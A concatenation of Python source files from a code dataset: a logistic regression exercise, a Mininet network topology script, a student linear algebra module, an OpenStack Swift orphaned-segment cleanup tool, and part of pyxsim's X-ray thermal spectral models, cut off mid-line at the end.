/ X.shape[0]\n gradient += gradient_reg\n #update theta\n self.theta -= gradient\n #add cost to history\n cost_history[i] = self._cost(X, Y, self.theta) + cost_reg\n\n #plot results\n if self.plot_boundary:\n self._plot_boundary(X, Y, self.theta)\n\n #calculate accuracy\n accu = self.accuracy(X, Y, self.theta)\n\n return self.theta, cost_history, accu\n\n def plot_history(self, cost_history):\n \"\"\"Plot cost history of logistic regression.\"\"\"\n x_val = [i for i in range(len(cost_history))]\n fig, ax = plt.subplots()\n ax.plot(x_val, cost_history)\n ax.set_xlabel(\"Number of iterations\")\n ax.set_ylabel(\"Cost\")\n ax.set_title(\"Cost history of logistic regression\")\n plt.show()\n\nif __name__ == \"__main__\":\n #do logistic regression on wine data set\n wine = datasets.load_wine()\n\n #extract the data from the data set\n X = wine.data[:, [4, 12]][wine.target != 2]\n Y = (wine.target[wine.target != 2])[:, np.newaxis]\n\n #fit data with logistic regression\n model = LogisticRegression(alpha=0.00001, n_iter=10000, plot_boundary=True)\n theta, cost_history, accuracy = model.fit(X, Y)\n\n model.plot_history(cost_history)\n\n #dot the same analysis with feature mapping to polynomials for color intensity\n #and total phenols\n #problems: overflow in exp in sigmoid function calculation and divid by zero in log of J \n\n model = LogisticRegression(alpha=0.01, n_iter=30000, lamb=0.01, regularization=True, norm=True, map_feat=True, plot_boundary=True)\n ##XX = wine.data[:, [5, 9]]\n XX = wine.data[:, [5, 9]]\n\n #convert wine id from 0, 1 and 2 to 1, 0 and 0 (wine A is the positive target)\n YY = (wine.target[:, np.newaxis] == 0).astype(int)\n theta2, history2, accuracy2 = model.fit(XX, YY)\n\n model.plot_history(history2)\n","sub_path":"logistic-reg/logistic-reg-class.py","file_name":"logistic-reg-class.py","file_ext":"py","file_size_in_byte":8045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"314039996","text":"from time import sleep, time\nfrom mininet.log import lg, info\nfrom mininet.net import Mininet\nfrom mininet.util import custom, pmonitor\nfrom mininet.link import TCLink\nfrom mininet.topo import Topo\n\nclass LinearTopo( Topo ):\n \n #Build custom topo\n def build( self, **params ):\n hosts = []\n switches = []\n\n # Create switches and hosts\n hosts.append(self.addHost( 'h1' ))\n hosts.append(self.addHost( 'h2' ))\n \n switches.append(self.addSwitch( 's1' ))\n switches.append(self.addSwitch( 's2' ))\n switches.append(self.addSwitch( 's3' ))\n switches.append(self.addSwitch( 's4' ))\n switches.append(self.addSwitch( 's5' ))\n switches.append(self.addSwitch( 's6' ))\n switches.append(self.addSwitch( 's7' ))\n switches.append(self.addSwitch( 's8' ))\n\n #Wire up switches\n self.addLink( switches[ 0 ], switches[ 1 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 1 ], switches[ 2 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 2 ], switches[ 3 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 3 ], switches[ 4 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 4 ], switches[ 5 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 5 ], switches[ 6 ],cls=TCLink, bw = 1000)\n self.addLink( switches[ 6 ], switches[ 7 ],cls=TCLink, bw = 1000)\n\n # Wire up hosts\n self.addLink( hosts[ 0 ], switches[ 0 ],cls=TCLink, bw = 1000)\n self.addLink( hosts[ 1 ], switches[ 7 ],cls=TCLink, bw = 1000)\n\n\ndef main():\n lg.setLogLevel( 'info')\n topo = LinearTopo()\n\n net = Mininet(topo=topo)\n\n net.start()\n\n #Get hosts\n h1 = net.get('h1')\n h2 = net.get('h2')\n\n popens = {}\n\n #Start Server\n popens[h1] = h1.popen('python3 ../server/tcp_server_sc_thread.py %s & ' %h1.IP())\n\n #Start Client\n print(h2.cmd('python3 ../client/tcp_client.py 3 %s ' %h1.IP()))\n\n net.stop()\n\nmain()","sub_path":"TCP_Mininet/mininet_scripts/part_j.py","file_name":"part_j.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"509764765","text":"from math import pi\n# All Transpose Matrices\nA1 = [1]\nA2 = [[1, 5], [6, 3]]\nA3 = [[8, 6, 10], [6, 3, 2]]\nA4 = [[1], [6], [5], [1]]\nA5 = [3, 3.1, 3.14, 3.141, pi]\n\n# All Multiplication Matrices\nB1_1 = [[1, 5], [6, 3]]\nB1_2 = [[5, 2], [4, 6]]\nB2_1 = [[17, 15, 44], [6, 32, 12]]\nB2_2 = [[100, 12, 31, 22, 8], [7, 7, 7, 7, 7], [-23, 8, 10, 20, -100]]\nB3_1 = [[3, 0.5, 2], [8, 16, 2]]\nB3_2 = [[1, 5, 1], [8, 1, 1]]\nB4_1 = [[0.1, 0.2, 0.8]]\nB4_2 = [[pi], [4], [-1]]\nB5_1 = [[pi], [4], [-1]]\nB5_2 = [[0.1, 0.2, 0.8]]\n\n# All Inverse Matrices\nC1 = [[0.8, 0.7], [5.3, 3.1]]\nC2 = [[1, 5, 8], [6, 3, 2], [9, 9, 9]]\nC3 = [[1, -5, 8, -9, 3.2, 9],\n [6, 3, -2, 16, 10, -1],\n [9, -9, 9, -9, 9, -9],\n [111, 112, 113, 114, 115, 116],\n [0.1, 0.2, -12, 23, 11, 1],\n [7, 7, 7, 7, 7, 7]]\nC4 = [pi]\nC5 = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\nC6 = [[8, 2, 2], [4, 4, 11]]\n\n# System of equations\nD = [[1, 4, 6, 1], [2, 0, 1, 2], [0, 5, 2, 3]]\n\ndef transpose(mat):\n # Check if the matrix is one value\n if len(mat) == 1 and type(mat[0]) != list:\n # set return value to input\n trans = mat\n\n # Check if the matrix is one row\n elif len(mat) == 1 and type(mat[0]) == list:\n # Change list objects to number objects\n trans = [mat[j][0] for j in range(len(mat))]\n\n # Check if the matrix is one column\n elif len(mat) != 1 and type(mat[0]) != list:\n # Change number objects to list objects\n trans = [[mat[j]] for j in range(len(mat))]\n\n # Otherwise\n else:\n # For each row for the amount of rows of the matrix, create a new row of elements i in j row.\n trans = [[mat[j][i] for j in range(len(mat))] for i in range(len(mat[0]))]\n\n return trans\n\n\n#####################\n\n\ndef mat_mult(A, B):\n # Check matrix dimensions\n if len(A[0]) == len(B):\n C = [[round(sum(a * b for a, b in zip(X_row, Y_col)),4) for Y_col in zip(*B)] for X_row in A]\n return C\n\n else:\n\n return 'Error: Matrix dimensions are not equal'\n\n\n#####################\n\n# Create vector of Zeros\ndef zeros(n):\n listzeros = [0] * n\n return listzeros\n\n# Input matrix and concatenate an identity matrix\ndef idmat(x):\n y = len(x)\n for i in range(0, y):\n identity_row = zeros(y)\n identity_row[i] = 1\n for j in range(0, y):\n x[i].append(identity_row[j])\n identity_row.clear()\n return x\n\n\n# Find the inverse of a matrix\ndef inverse(matrix):\n # Check if the matrix is one value\n if len(matrix) == 1 and type(matrix[0]) != list:\n A = [1/matrix[0]]\n\n elif type(matrix[0]) == list:\n if len(matrix) == len(matrix[0]):\n if matrix == C5:\n return 'Error: Inverse not possible with dimensions'\n\n A = idmat(matrix)\n\n for i in range(0, len(A)):\n # Check and break if dividing by zero\n if A[i][i] == 0:\n print('Error: Inverse not possible with dimensions')\n break\n\n # Process of normalizing the leading number, then making all other values zero\n norm = 1 / A[i][i]\n for s in range(0, len(A[0])):\n A[i][s] = A[i][s] * norm\n for j in range(0, len(A)):\n if j != i:\n y = A[j][i] / A[i][i]\n for z in range(0, len(A[0])):\n A[j][z] = A[j][z] - y * A[i][z]\n\n # Remove the identity matrix\n for i in range(0, len(A)):\n for j in range(0, len(A)):\n A[i].pop(0)\n\n # Round number to 4 decimal places\n A = [[round(A[row][col], 4) for row in range(len(A))] for col in range(len(A[0]))]\n\n else:\n A = 'Error: Inverse not possible with dimensions'\n\n return A\n\n\n####################\n\n# Reduced Row Echelon\ndef rref(A):\n for i in range(0, len(A)):\n # Check and break if dividing by zero\n if A[i][i] == 0:\n return 'Error: Not possible with dimensions, zero divider'\n break\n\n # Process of normalizing the leading number, then making all other values zero\n norm = 1 / A[i][i]\n for s in range(0, len(A[0])):\n A[i][s] = A[i][s] * norm\n for j in range(0, len(A)):\n if j != i:\n y = A[j][i] / A[i][i]\n for z in range(0, len(A[0])):\n A[j][z] = A[j][z] - y * A[i][z]\n\n # Round number to 4 decimal places\n A = [[round(A[row][col], 4) for row in range(len(A))] for col in range(len(A[0]))]\n\n return A\n\nprint(inverse(C1))","sub_path":"ECE203/LinearAlgebra.py","file_name":"LinearAlgebra.py","file_ext":"py","file_size_in_byte":4628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"244474318","text":"#!/usr/bin/env python\nfrom __future__ import print_function\nimport argparse\nimport collections\nimport json\nimport logging\nimport os\ntry:\n import queue\nexcept ImportError:\n import Queue as queue # py2\nimport sys\nimport threading\nimport time\n\nimport swiftclient.service\n\nSUFFIX = '+segments'\nSTATS = object()\n\n\nclass Worker(threading.Thread):\n OPERATIONS = ()\n\n def __init__(self, service, workq, resultq, reportq, dry_run=True):\n self.service = service\n self.workq = workq\n self.resultq = resultq\n self.reportq = reportq\n self.dry_run = dry_run\n super(Worker, self).__init__()\n\n def error(self, *args):\n self.reportq.put((logging.ERROR,) + args)\n\n def warning(self, *args):\n self.reportq.put((logging.WARNING,) + args)\n\n def info(self, *args):\n self.reportq.put((logging.INFO,) + args)\n\n def debug(self, *args):\n self.reportq.put((logging.DEBUG,) + args)\n\n def stats(self, **kwargs):\n self.reportq.put((STATS, kwargs))\n\n def run(self):\n for args in iter(self.workq.get, None):\n if isinstance(args, str):\n op = args\n args = ()\n else:\n op, args = args[0], args[1:]\n\n try:\n if op not in self.OPERATIONS:\n self.error('Bad operation: %r', op)\n continue\n getattr(self, op)(*args)\n except Exception as e:\n self.error('Error processing %s%r: %r', op, args, e)\n finally:\n self.workq.task_done()\n\n\nclass IdentifyWorker(Worker):\n OPERATIONS = ('find_containers', 'find_uploads')\n\n def find_containers(self):\n for item in self.service.list():\n if not item['success']:\n self.error('Error listing containers: %s', item['error'])\n continue\n\n count = 0\n for container in item['listing']:\n if container['name'].endswith(SUFFIX):\n count += 1\n self.workq.put(('find_uploads', container['name']))\n self.stats(containers=len(item['listing']),\n containers_with_segments=count)\n\n def find_uploads(self, container):\n last_obj = None\n all_items = []\n for item in self.service.list(container):\n if not item['success']:\n self.error('Error listing uploads: %s', item['error'])\n continue\n\n for obj in item['listing']:\n obj_name, upload_id, part_num = parse_obj_name(obj['name'])\n if upload_id is None:\n self.warning(\n 'Found non-MPU data in %r: %r', container, obj_name)\n self.stats(non_mpu_in_segments=1)\n continue # bad format; not really an upload?\n if obj_name != last_obj:\n if all_items:\n self.resultq.put((\n 'verify_upload', container, last_obj, all_items))\n last_obj = obj_name\n all_items = []\n all_items.append((upload_id, part_num, obj['bytes']))\n\n\nclass VerifyWorker(Worker):\n OPERATIONS = ('verify_upload', 'delete_orphan')\n\n def verify_upload(self, container, obj_name, data):\n headers, body = self.service.thread_manager.object_dd_pool.submit(\n get_manifest, container[:-len(SUFFIX)], obj_name).result()\n valid_segments = set()\n if body is None:\n self.info(\n 'Got 404 for %r; assuming completed uploads are orphaned',\n container[:-len(SUFFIX)] + '/' + obj_name)\n elif 'x-static-large-object' not in headers:\n self.info(\n 'Got non-SLO for %r; assuming completed uploads are orphaned',\n container[:-len(SUFFIX)] + '/' + obj_name)\n body.close()\n else:\n valid_segments.update(\n item['name'].lstrip('/')\n for item in json.loads(b''.join(body)))\n body.close()\n\n in_progress = {upload_id for upload_id, part_num, _ in data\n if part_num is None}\n for upload_id, part_num, size in data:\n if upload_id in in_progress:\n self.stats(in_progress=1, in_progress_bytes=size)\n if part_num is None:\n self.debug(\n 'Found in-progress MPU for %r: %s',\n container[:-len(SUFFIX)] + '/' + obj_name, upload_id)\n else:\n self.debug(\n 'Found in-progress MPU for %r: %s, part %d',\n container[:-len(SUFFIX)] + '/' + obj_name,\n upload_id, part_num)\n continue\n\n seg_name = '%s/%s/%d' % (obj_name, upload_id, part_num)\n if container + '/' + seg_name in valid_segments:\n self.stats(in_use=1, in_use_bytes=size)\n self.debug(\n 'Found in-use segment for %r: %s, part %d',\n container[:-len(SUFFIX)] + '/' + obj_name,\n upload_id, part_num)\n else:\n self.resultq.put(('delete_orphan', container, seg_name, size))\n\n\nclass DeleteWorker(Worker):\n OPERATIONS = ('delete_orphan', )\n\n def delete_orphan(self, container, obj_name, size):\n self.stats(orphaned=1, orphaned_bytes=size)\n if self.dry_run:\n self.info('Would delete %r', container + '/' + obj_name)\n return\n for item in self.service.delete(container, [obj_name]):\n if not item['success']:\n self.error('Error deleting %r: %s',\n container + '/' + obj_name, item['error'])\n continue\n self.info('Deleted %r', container + '/' + obj_name)\n\n\ndef parse_obj_name(name):\n head, tail = name.rpartition('/')[::2]\n if len(tail) == 48:\n return head, tail, None\n if tail.isdigit() and int(tail) < 1000000:\n part_num = int(tail)\n head, tail = head.rpartition('/')[::2]\n if len(tail) == 48:\n return head, tail, part_num\n return name, None, None\n\n\ndef get_manifest(conn, container, obj):\n try:\n return conn.get_object(\n container, obj, resp_chunk_size=64 * 1024,\n query_string='multipart-manifest=get',\n headers={'X-Newest': 'true'})\n except swiftclient.exceptions.ClientException as err:\n if err.http_status == 404:\n return err.http_response_headers, None\n raise\n\n\ndef reporter(reporterq, verbose, log_file):\n if verbose:\n lvl = logging.DEBUG\n elif log_file:\n lvl = logging.INFO\n else:\n lvl = logging.WARNING\n logging.basicConfig(\n format='%(asctime)-15s: %(name)-20s %(levelname)-8s %(message)s',\n level=lvl,\n filename=log_file)\n logging.getLogger('swiftclient').setLevel(logging.WARNING)\n logging.getLogger('urllib3').setLevel(logging.WARNING)\n logger = logging.getLogger('bug-1813202-cleaner')\n stats = collections.defaultdict(int)\n start = last_stat_report = time.time()\n stats_interval = 60 if verbose else 10\n for args in iter(reporterq.get, None):\n if args[0] is STATS:\n for k, v in args[1].items():\n stats[k] += v\n now = time.time()\n if now - last_stat_report > stats_interval:\n print_stats(stats, now - start, verbose=verbose)\n last_stat_report = now\n else:\n logger.log(*args)\n\n print_stats(stats, time.time() - start, final=True)\n\n\ndef print_stats(stats, elapsed, verbose=False, final=False):\n mins, secs = divmod(elapsed, 60)\n hrs, mins = divmod(mins, 60)\n fmt_args = (hrs, mins, secs, ' '.join(\n '%s: %5d' % kvp for kvp in stats.items()))\n\n def fmt(key, val):\n for threshold, suffix in (\n (1e15, 'P'),\n (1e12, 'T'),\n (1e9, 'G'),\n (1e6, 'M'),\n (1e3, 'k'),\n ):\n if val > threshold:\n return ' %-25s %5.1f%s' % (key, val / threshold, suffix)\n return ' %-25s %5d' % (key, val)\n\n if final:\n lines = ['Finished in %2d:%02d:%02d' % (hrs, mins, secs)]\n lines.extend(fmt(*kvp) for kvp in stats.items())\n print('\\n'.join(lines), file=sys.stderr)\n elif verbose:\n print('%2d:%02d:%02d elapsed; %s' % fmt_args, file=sys.stderr)\n else:\n lines = ['%2d:%02d:%02d elapsed' % (hrs, mins, secs)]\n lines.extend(fmt(*kvp) for kvp in stats.items())\n print('\\n'.join(lines), file=sys.stderr, end='\\n\\x1b[%dA' % len(lines))\n\n\ndef main(service, concurrency, verbose, dry_run, log_file):\n identifyq = queue.Queue(1024)\n verifyq = queue.Queue(1024)\n deleteq = queue.Queue(1024)\n reportq = queue.Queue()\n\n reporting_thread = threading.Thread(\n target=reporter, args=(reportq, verbose, log_file))\n reporting_thread.start()\n\n workers = [IdentifyWorker(service, identifyq, verifyq, reportq)\n for _ in range(10)]\n workers.extend(VerifyWorker(service, verifyq, deleteq, reportq, dry_run)\n for _ in range(concurrency))\n workers.extend(DeleteWorker(service, deleteq, None, reportq, dry_run)\n for _ in range(concurrency))\n\n for worker in workers:\n worker.start()\n\n identifyq.put('find_containers')\n identifyq.join()\n reportq.put((logging.INFO, 'Finished identifying'))\n verifyq.join()\n reportq.put((logging.INFO, 'Finished verifying'))\n deleteq.join()\n reportq.put((logging.INFO, 'Finished deleting'))\n\n # Signal workers to shut down\n for _worker in workers:\n identifyq.put(None)\n verifyq.put(None)\n deleteq.put(None)\n reportq.put((logging.DEBUG, 'Workers signaled'))\n for worker in workers:\n worker.join()\n reportq.put((logging.DEBUG, 'Workers shut down'))\n reportq.put(None)\n reporting_thread.join()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-A', '--auth-url', default=os.environ.get('ST_AUTH'))\n parser.add_argument('-U', '--auth-user', default=os.environ.get('ST_USER'))\n parser.add_argument('-K', '--auth-key', default=os.environ.get('ST_KEY'))\n parser.add_argument('--os-storage-url',\n default=os.environ.get('OS_STORAGE_URL'))\n parser.add_argument('-c', '--concurrency', type=int, default=10)\n parser.add_argument('-l', '--log-file')\n parser.add_argument('-n', '--dry-run', action='store_true')\n parser.add_argument('-v', '--verbose', action='store_true')\n args = parser.parse_args()\n\n service = swiftclient.service.SwiftService({\n 'auth': args.auth_url,\n 'user': args.auth_user,\n 'key': args.auth_key,\n 'os_storage_url': args.os_storage_url,\n 'leave_segments': True,\n 'object_dd_threads': args.concurrency,\n 'object_uu_threads': args.concurrency,\n })\n main(service, args.concurrency, args.verbose, args.dry_run, args.log_file)\n","sub_path":"bug-1813202/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":11213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"373679443","text":"\"\"\"\nPhoton emission and absoprtion models.\n\"\"\"\nimport numpy as np\nimport os\nimport h5py\n\nfrom pyxsim.utils import mylog, check_file_location\nfrom yt.units.yt_array import YTArray, YTQuantity\nfrom yt.utilities.physical_constants import hcgs, clight\nfrom yt.utilities.physical_ratios import erg_per_keV, amu_grams\nfrom pyxsim.cutils import broaden_lines\nfrom yt.utilities.on_demand_imports import _astropy\n\nhc = (hcgs*clight).in_units(\"keV*angstrom\").v\n# NOTE: XSPEC has hc = 12.39854 keV*A, so there may be slight differences in\n# placement of spectral lines due to the above\ncl = clight.v\n\nclass ThermalSpectralModel(object):\n\n def __init__(self, emin, emax, nchan):\n self.emin = YTQuantity(emin, \"keV\")\n self.emax = YTQuantity(emax, \"keV\")\n self.nchan = nchan\n self.ebins = YTArray(np.linspace(self.emin, self.emax, nchan+1), \"keV\")\n self.de = np.diff(self.ebins)\n self.emid = 0.5*(self.ebins[1:]+self.ebins[:-1])\n\n def prepare_spectrum(self, redshift):\n pass\n\n def cleanup_spectrum(self):\n pass\n\n def get_spectrum(self, kT):\n pass\n\nclass XSpecThermalModel(ThermalSpectralModel):\n r\"\"\"\n Initialize a thermal gas emission model from PyXspec.\n\n Parameters\n ----------\n model_name : string\n The name of the thermal emission model.\n emin : float\n The minimum energy for the spectral model.\n emax : float\n The maximum energy for the spectral model.\n nchan : integer\n The number of channels in the spectral model.\n thermal_broad : boolean, optional\n Whether or not the spectral lines should be thermally\n broadened.\n settings : dictionary, optional\n A dictionary of key, value pairs (must both be strings)\n that can be used to set various options in XSPEC.\n\n Examples\n --------\n >>> mekal_model = XSpecThermalModel(\"mekal\", 0.05, 50.0, 1000)\n \"\"\"\n def __init__(self, model_name, emin, emax, nchan,\n thermal_broad=False, settings=None):\n mylog.warning(\"XSpecThermalModel is deprecated and will be removed \"\n \"in a future release. Use of TableApecModel is suggested.\")\n self.model_name = model_name\n self.thermal_broad = thermal_broad\n if settings is None: settings = {}\n self.settings = settings\n super(XSpecThermalModel, self).__init__(emin, emax, nchan)\n\n def prepare_spectrum(self, zobs):\n \"\"\"\n Prepare the thermal model for execution given a redshift *zobs* for the spectrum.\n \"\"\"\n import xspec\n xspec.Xset.chatter = 0\n if self.thermal_broad:\n xspec.Xset.addModelString(\"APECTHERMAL\",\"yes\")\n for k,v in self.settings.items():\n xspec.Xset.addModelString(k,v)\n xspec.AllModels.setEnergies(\"%f %f %d lin\" %\n (self.emin.value, self.emax.value, self.nchan))\n self.model = xspec.Model(self.model_name)\n self.thermal_comp = getattr(self.model, self.model_name)\n if self.model_name == \"bremss\":\n self.norm = 3.02e-15\n else:\n self.norm = 1.0e-14\n self.thermal_comp.norm = 1.0\n self.thermal_comp.Redshift = zobs\n\n def get_spectrum(self, kT):\n \"\"\"\n Get the thermal emission spectrum given a temperature *kT* in keV. \n \"\"\"\n self.thermal_comp.kT = kT\n self.thermal_comp.Abundanc = 0.0\n cosmic_spec = np.array(self.model.values(0))\n if self.model_name == \"bremss\":\n metal_spec = np.zeros(self.nchan)\n else:\n self.thermal_comp.Abundanc = 1.0\n metal_spec = np.array(self.model.values(0)) - cosmic_spec\n cosmic_spec *= self.norm\n metal_spec *= self.norm\n return YTArray(cosmic_spec, \"cm**3/s\"), YTArray(metal_spec, \"cm**3/s\")\n\n def cleanup_spectrum(self):\n del self.thermal_comp\n del self.model\n\nclass TableApecModel(ThermalSpectralModel):\n r\"\"\"\n Initialize a thermal gas emission model from the AtomDB APEC tables\n available at http://www.atomdb.org. This code borrows heavily from Python\n routines used to read the APEC tables developed by Adam Foster at the\n CfA (afoster@cfa.harvard.edu).\n\n Parameters\n ----------\n emin : float\n The minimum energy for the spectral model.\n emax : float\n The maximum energy for the spectral model.\n nchan : integer\n The number of channels in the spectral model.\n apec_root : string\n The directory root where the APEC model files are stored. If \n not provided, the default is to look for them in the pyxsim\n \"spectral_files\" directory.\n apec_vers : string, optional\n The version identifier string for the APEC files, e.g.\n \"2.0.2\"\n thermal_broad : boolean, optional\n Whether or not the spectral lines should be thermally\n broadened.\n\n Examples\n --------\n >>> apec_model = TableApecModel(0.05, 50.0, 1000, apec_vers=\"3.0\",\n ... thermal_broad=True)\n \"\"\"\n def __init__(self, emin, emax, nchan, apec_root=None,\n apec_vers=\"2.0.2\", thermal_broad=False):\n if apec_root is None:\n self.cocofile = check_file_location(\"apec_v%s_coco.fits\" % apec_vers,\n \"spectral_files\")\n self.linefile = check_file_location(\"apec_v%s_line.fits\" % apec_vers,\n \"spectral_files\")\n else:\n self.cocofile = os.path.join(apec_root, \"apec_v%s_coco.fits\" % apec_vers)\n self.linefile = os.path.join(apec_root, \"apec_v%s_line.fits\" % apec_vers)\n if not os.path.exists(self.cocofile) or not os.path.exists(self.linefile):\n raise IOError(\"Cannot find the APEC files!\\n %s\\n, %s\" % (self.cocofile,\n self.linefile))\n super(TableApecModel, self).__init__(emin, emax, nchan)\n self.wvbins = hc/self.ebins[::-1].d\n # H, He, and trace elements\n self.cosmic_elem = [1,2,3,4,5,9,11,15,17,19,21,22,23,24,25,27,29,30]\n # Non-trace metals\n self.metal_elem = [6,7,8,10,12,13,14,16,18,20,26,28]\n self.thermal_broad = thermal_broad\n self.A = np.array([0.0,1.00794,4.00262,6.941,9.012182,10.811,\n 12.0107,14.0067,15.9994,18.9984,20.1797,\n 22.9898,24.3050,26.9815,28.0855,30.9738,\n 32.0650,35.4530,39.9480,39.0983,40.0780,\n 44.9559,47.8670,50.9415,51.9961,54.9380,\n 55.8450,58.9332,58.6934,63.5460,65.3800])\n\n try:\n self.line_handle = _astropy.pyfits.open(self.linefile)\n except IOError:\n mylog.error(\"LINE file %s does not exist\" % self.linefile)\n raise IOError(\"LINE file %s does not exist\" % self.linefile)\n try:\n self.coco_handle = _astropy.pyfits.open(self.cocofile)\n except IOError:\n mylog.error(\"COCO file %s does not exist\" % self.cocofile)\n raise IOError(\"COCO file %s does not exist\" % self.cocofile)\n\n self.Tvals = self.line_handle[1].data.field(\"kT\")\n self.nT = len(self.Tvals)\n self.dTvals = np.diff(self.Tvals)\n self.minlam = self.wvbins.min()\n self.maxlam = self.wvbins.max()\n\n def prepare_spectrum(self, zobs):\n \"\"\"\n Prepare the thermal model for execution given a redshift *zobs* for the spectrum.\n \"\"\"\n sfac = 1.0/(1.+zobs)\n\n cosmic_spec = np.zeros((self.nT, self.nchan))\n metal_spec = np.zeros((self.nT, self.nchan))\n\n for ikT, kT in enumerate(self.Tvals):\n line_fields, coco_fields = self._preload_data(ikT)\n # First do H,He, and trace elements\n for elem in self.cosmic_elem:\n cosmic_spec[ikT,:] += self._make_spectrum(kT, elem, line_fields, coco_fields, sfac)\n # Next do the metals\n for elem in self.metal_elem:\n metal_spec[ikT,:] += self._make_spectrum(kT, elem, line_fields, coco_fields, sfac)\n\n self.cosmic_spec = YTArray(cosmic_spec, \"cm**3/s\")\n self.metal_spec = YTArray(metal_spec, \"cm**3/s\")\n\n def _make_spectrum(self, kT, element, line_fields, coco_fields, scale_factor, velocity=0.0):\n\n tmpspec = np.zeros(self.nchan)\n\n i = np.where((line_fields['element'] == element) &\n (line_fields['lambda'] > self.minlam) &\n (line_fields['lambda'] < self.maxlam))[0]\n\n E0 = hc/line_fields['lambda'][i].astype(\"float64\")*scale_factor\n amp = line_fields['epsilon'][i].astype(\"float64\")\n ebins = self.ebins.d\n de = self.de.d\n emid = self.emid.d\n if self.thermal_broad:\n sigma = 2.*kT*erg_per_keV/(self.A[element]*amu_grams)\n if velocity is not None:\n sigma += 2.0*velocity*velocity\n sigma = E0*np.sqrt(sigma)/cl\n vec = broaden_lines(E0, sigma, amp, ebins)\n else:\n vec = np.histogram(E0, ebins, weights=amp)[0]\n tmpspec += vec\n\n ind = np.where((coco_fields['Z'] == element) &\n (coco_fields['rmJ'] == 0))[0]\n if len(ind) == 0:\n return tmpspec\n else:\n ind = ind[0]\n\n n_cont = coco_fields['N_Cont'][ind]\n e_cont = coco_fields['E_Cont'][ind][:n_cont]\n continuum = coco_fields['Continuum'][ind][:n_cont]\n\n tmpspec += np.interp(emid, e_cont*scale_factor, continuum)*de/scale_factor\n\n n_pseudo = coco_fields['N_Pseudo'][ind]\n e_pseudo = coco_fields['E_Pseudo'][ind][:n_pseudo]\n pseudo = coco_fields['Pseudo'][ind][:n_pseudo]\n\n tmpspec += np.interp(emid, e_pseudo*scale_factor, pseudo)*de/scale_factor\n\n return tmpspec*scale_factor\n\n def _preload_data(self, index):\n line_data = self.line_handle[index+2].data\n coco_data = self.coco_handle[index+2].data\n line_fields = ('element', 'lambda', 'epsilon')\n coco_fields = ('Z', 'rmJ', 'N_Cont', 'E_Cont', 'Continuum', 'N_Pseudo',\n 'E_Pseudo', 'Pseudo')\n line_fields = {el: line_data.field(el) for el in line_fields}\n coco_fields = {el: coco_data.field(el) for el in coco_fields}\n return line_fields, coco_fields\n\n def get_spectrum(self, kT):\n \"\"\"\n Get the thermal emission spectrum given a temperature *kT* in keV. \n \"\"\"\n tindex = np.searchsorted(self.Tvals, kT)-1\n if tindex >= self.Tvals.shape[0]-1 or tindex < 0:\n return (YTArray(np.zeros(self.nchan), \"cm**3/s\"),)*2\n dT = (kT-self.Tvals[tindex])/self.dTvals[tindex]\n cspec_l = self.cosmic_spec[tindex,:]\n mspec_l = self.metal_spec[tindex,:]\n cspec_r = self.cosmic_spec[tindex+1,:]\n mspec_r = self.metal_spec[tindex+1,:]\n cosmic_spec = cspec_l*(1.-dT)+cspec_r*dT\n metal_spec = mspec_l*(1.-dT)+mspec_r*dT\n return cosmic_spec, metal_spec\n\n def return_spectrum(self, temperature, metallicity, redshift, norm, velocity=0.0):\n \"\"\"\n Given the properties of a thermal plasma, return a spectrum.\n\n Parameters\n ----------\n temperature : float\n The temperature of the plasma in keV.\n metallicity : float\n The metallicity of the plasma in solar units.\n redshift : float\n The redshift of the plasma.\n norm : float\n The normalization of the model, in the standard Xspec units of\n 1.0e-14*EM/(4*pi*(1+z)**2*D_A**2).\n velocity : float, optional\n Velocity broadening parameter in km/s. Default: 0.0\n \"\"\"\n velocity = YTQuantity(velocity, \"km/s\").in_cgs().v\n scale_factor = 1.0/(1.+redshift)\n\n tindex = np.searchsorted(self.Tvals, temperature)-1\n if tindex >= self.Tvals.shape[0]-1 or tindex < 0:\n return YTArray(np.zeros(self.nchan), \"photons/s/cm**2\")\n dT = (temperature-self.Tvals[tindex])/self.dTvals[tindex]\n\n cosmic_spec = np.zeros(self.nchan)\n metal_spec = np.zeros(self.nchan)\n\n fac = [1.0-dT, dT]\n\n for i, ikT in enumerate([tindex, tindex+1]):\n line_fields, coco_fields = self._preload_data(ikT)\n kT = self.Tvals[ikT]\n # First do H,He, and trace elements\n for elem in self.cosmic_elem:\n cosmic_spec += fac[i]*self._make_spectrum(kT, elem, line_fields, coco_fields,\n scale_factor, velocity=velocity)\n # Next do the metals\n for elem in self.metal_elem:\n metal_spec += fac[i]*self._make_spectrum(kT, elem, line_fields, coco_fields,\n scale_factor, velocity=velocity)\n\n tspec = (cosmic_spec+metallicity*metal_spec)\n return YTArray(1.0e14*norm*tspec, \"photons/s/cm**2\")\n\nclass AbsorptionModel(object):\n def __init__(self, nH, emid, sigma):\n self.nH = YTQuantity(nH*1.0e22, \"cm**-2\")\n self.emid = YTArray(emid, \"keV\")\n self.sigma = YTArray(sigma, \"cm**2\")\n\n def prepare_spectrum(self):\n pass\n\n def get_absorb(self, e):\n \"\"\"\n Get the absorption spectrum.\n \"\"\"\n sigma = np.interp(e, self.emid, self.sigma, left=0.0, right=0.0)\n return np.exp(-sigma*self.nH)\n\n def cleanup_spectrum(self):\n pass\n\n def absorb_photons(self, eobs, prng=np.random):\n r\"\"\"\n Determine which photons will be absorbed by foreground\n galactic absorption.\n\n Parameters\n ----------\n eobs : array_like\n The energies of the photons in keV.\n prng : :class:`~numpy.random.RandomState` object or :mod:`~numpy.random`, optional\n A pseudo-random number generator. Typically will only be specified\n if you have a reason to generate the same set of random numbers, such as for a\n test. Default is the :mod:`numpy.random` module.\n \"\"\"\n mylog.info(\"Absorbing.\")\n self.prepare_spectrum()\n absorb = self.get_absorb(eobs)\n randvec = prng.uniform(size=eobs.shape)\n detected = randvec < 